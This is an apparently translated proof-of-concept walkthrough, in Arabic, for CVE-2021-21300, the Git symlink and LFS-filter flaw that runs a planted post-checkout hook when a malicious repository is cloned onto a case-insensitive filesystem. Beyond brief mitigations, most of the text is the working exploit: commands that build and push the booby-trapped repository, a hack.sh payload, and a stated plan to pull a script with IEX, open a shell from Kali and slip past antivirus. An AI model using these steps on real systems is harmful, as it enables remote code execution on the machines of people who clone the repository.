
إثبات مفهوم لثغرة CVE-2021-21300، تعرض تنفيذ تعليمات برمجية عن بُعد عبر استنساخ مستودع Git خبيث مع إساءة استخدام الروابط الرمزية والمرشحات على أنظمة الملفات غير الحساسة لحالة الأحرف.
في إصدارات متعددة من git، لا يتم التعامل مع الروابط الرمزية بشكل صارم. بعد تحميل ملفات إلى git على نظام ملفات حساس لحالة الأحرف (مثل Linux)، يمكن أن يؤدي استنساخ مستودع خبيث على مضيف يستخدم نظام ملفات غير حساس لحالة الأحرف (مثل Windows) إلى تنفيذ أوامر عن بُعد.
من 2.15 إلى الإصدار الحالي 2.30.1
تعطيل الرموز الرمزية لـ git: git config --global core.symlinks false
تعطيل مرشح العملية (عادةً ما تستخدم LFS هذه الميزة)، يمكن التحقق منه عن طريق git config --show-scope --get-regexp 'filter\..*\.process'
.git/hooks)النظام: ubuntux64
يتطلب تثبيت git و git-lfs
قد يحدث خطأ عند تنفيذ الأمر git lfs install
Error: Failed to call git rev-parse --git-dir: exit status 128
يمكن تجاهل هذا
عندما يظهر Git LFS initialized، فهذا يعني اكتمال التثبيت
النظام: win10x64
git for windows: Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
تثبيت git for windows بكل الإعدادات الافتراضية
هناك العديد من الدروس على الإنترنت، لا حاجة للتفصيل
نفذ الأوامر التالية:
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main
في powershell (كمسؤول) المقدم في Win10، نفذ الأمر التالي:
git clone -c core.symlinks=true [رابط المستودع الخاص بك]
بعد الاستنساخ، ظهور PWNED يعني نجاح تنفيذ الأمر عن بُعد
كما نرى، أثناء الاستنساخ، تم تنفيذ الأوامر الموجودة في ملف post-checkout.
الفكرة هي استخدام IEX لتنزيل السكريبت، ثم الاستماع عبر kali للحصول على شيل، ولكن معظم السكريبتات يتم التعرف عليها وحظرها، ويمكن تجاوز ذلك عبر تقنيات الإخفاء من البرامج المضادة.
إضافة ملف السكريبت hack.sh في الدليل
محتواه كما يلي:
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
تعديل الأوامر المنفذة في post-checkout لتنفيذ السكريبت
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout